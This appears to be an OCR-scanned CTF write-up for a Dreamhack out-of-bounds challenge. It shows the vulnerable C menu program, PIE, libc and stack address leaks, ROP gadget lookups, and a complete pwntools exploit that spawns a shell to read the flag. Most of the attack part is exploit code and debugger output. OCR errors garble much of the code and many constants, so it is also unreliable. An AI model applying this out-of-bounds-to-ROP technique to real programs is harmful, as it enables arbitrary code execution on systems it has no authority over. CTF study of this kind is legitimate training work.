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int main() [
initialize();
unsigned long long offset;

void menu() {
puts(“1. read”);

int choice; puts(”2. write”);
for (53) { puts(”3. exit");
menu( ) ; . printf("> ");
scanf("%d", &choice);
if (choice == 1) { }

printf("offset: ");
scanf("%11d"”, &offset);
printf("%c\n”, oob[offset]);

else if (choice == 2) {

printf(“offset: "); D :'
f("%11d", &offset);
scanf ( set) avy_ I-ll A

printf(“value: ");
getchar();
scanf("%11d”, &oob[offset]);
else if (choice==3)
break;
élse {
puts(“invalid choice"”);

1
J

return 0;
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int main() @
initialize();
20 unsigned long long offset;
int choice;
for (55) {
menu( );
scanf("%d"”, &choice);

71 |if (choice == 1
6 printf(“offset: ");
scanf("%11d”, &offset);

printf("%c\n”, oob[offset]);

else it (choice == 2) |
printf(“offset: ");
scanf("%11d”, &offset);
printf(“value: ");
getchar();

scanf("%11d”, &oob[offset]);

else if (choice==3) /{
break;

else {
puts(“invalid choice”);

1
J

return 0;
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scanf("&d”, &choice);
if (choice == 1)
printf(’ offset -

scanf("%211d”, &offset);
printf(“%c\n”, oob[offset]);
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Piebase, Libcbase Leak =H|

dso handle dq offset dso handle

.data 16 public oob
oob db "Hello, World!',@

dso handle <-,7 oob 1él: SHHIE
loob <-, stdout Hél: 16HH01E

55 segment para public 'BSS
assume cs: bss

s LSV .Y assume e5.

public std

stdout@GLIBC 2 2 5 dq ?
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Piebase, Libcbase Leak

pie leak = b""’
for 1 in range(1, 9):

p.sendlineafter(b’> ", b'1")

p.sendlineafter(b’offset:
pie leak += p.recvn(1l)

", str(-1i).encode())

SCA

scanf("%d"”, &choice);

if (choice == 1) {
printf(“offset: ");
scanf("%11d”, &offset);
printf(“%c\n”, oob[offset]);

e.address = ub4(pie leak|[::-1]) - e.symbols[’ dso handle’]

libc leak = b"°
for 1 in range(16, 24):

p.sendlineafter(b’> ", b'1")

p.sendlineafter(b offset:
libc leak += p.recvn(1l)

", str(i).encode())

libc.address = u64(libc leak) - libc.symbols|[’' I0 2 1 stdout "]
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environ =
oob addr =
environ oob offset =

=2 L eak

stack leak =

libc.symbols| "environ’ ]
e.symbols| "oob’ ]
environ - oob addr

SCA

scanf("%d"”, &choice);

if (choice == 1) {
printf(“offset: ");
scanf("%11d”, &offset);
printf(“%c\n”, oob[offset]);

for 1 in range(environ oob offset, environ oob offset + 8):

p.sendlineafter(b’>

', b'17)
p.sendlineafter(b ' offset:

stack leak += p.recvn(1)

stack addr =

ubd(stack leak)

', str(1).encode())




ROP chain X Z=H|

& PIMZZZ @ SCA in ~/deploy © [01:53:36] W“ﬂ?g’(fﬁ Fabidtons
® ~ ROPgadget --binary libc.s0.6 --only "ret” o7 e468: 140737488349012

: : pwndbg> x/gx $rbp + 8
o i i 2 ax7HHfe3428: 0x000077c29d9%0
pwndbg> x/gx @x7FFfffffed468-0x7fffffffe348
8x128: Cannot access memory at address ©x120

ret gadget Stack_ret
offset %H)| offset oI

0x000000000002a3e5 : pop rdi ; ret g piMzzz @ SCA in ~/deploy @ [01:59:35]
'~ strings -tx libc.so0.6 | grep "/bin/sh”
1d8698 /bin/sh

pop rdi offset /bin/sh
)| offset %)
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ret offset = 6x120

ret addr = stack addr - ret offset

pop rdi = libc.address + 9x000000000002a3e5
ret gadget = libc.address + 9x0000000000029cd6
system = libc.symbols| 'system’ ]

binsh = libc.address + 9x1d8698

ret oob offset = ret _addr - oob addr

payload = b"’

payload += p64(ret gadget)

payload += p64(pop rdi) — n - "
SEBiE L aterl system("/bin/sh")
payload += p64(system)
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for 1 in range(32):
p.sendlineafter(b’> ", b'2")
p.sendlineafter(b’'offset: *, str(ret oob offset + 1).encode())
p.sendlineafter(b’value: ', str(payload/ i]).encode())

p.interactive()

[*] Switching to interactive mode
1. read

2. write

3. exit

>%$3

$ cat flag

DH{ ST |
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from pwn import *

#p = process(’./oob")

#p = remote('localhost’, 9099)

p = remote( host3.dreamhack.games’, 20482)

context.arch = 'amd64’
#context.log level = "debug’

e = ELF('./00b")
1libc = ELF('./1libc.s0.6")

B e

pie _leak = b’

for i in range(1, 9):
p.sendlineafter(b’'> ", b'1")
p.sendlineafter(b’'offset: ', str(-i).encode())
pie leak += p.recvn(1)

e.address

ub4(pie leak[::-1]) - e.symbols[’' dso handle’]

libc_leak = b"’

for i in range(16, 24):
p.sendlineafter(b’'> ", b'1")
p.sendlineafter(b’offset: ', str(i).encode())
libc_leak += p.recvn(1)

libc.address = u64(libc_leak) - libc.symbols[' I0 2 1 stdout ']

—_

environ = libc.symbols[ "environ’]
oob_addr = e.symbols[ "oob"]
environ oob offset = environ - oob addr

stack leak = b"’

for i in range(environ_oob_offset, environ_oob offset + 8):
p.sendlineafter(b’> ", b'1")
p.sendlineafter(b’offset: ', str(i).encode())
stack leak += p.recvn(1)

stack addr = ub4(stack leak)
Y o e o o S o e g e ot o T e e e e e e e ot e e e e e e e e e e e e et
ret_offset = 6x120

ret_addr = stack_addr - ret_offset

pop rdi = libc.address + 0x000000000002a3e5
ret gadget = libc.address + ©x0000000000029cd6
system = libc.symbols[ ‘system’]

binsh = libc.address + 9x1d8698

ret oob offset = ret _addr - oob_addr

payload = b"'

payload += p64(ret_gadget)
payload += p64(pop rdi)
payload += p64(binsh)
payload += p64(system)

for i in range(32):
p.sendlineafter(b’'> ", b'2")
p.sendlineafter(b’offset: ', str(ret_oob offset + i).encode())
p.sendlineafter(b’'value: ', str(payload|/i]).encode())

p.interactive()
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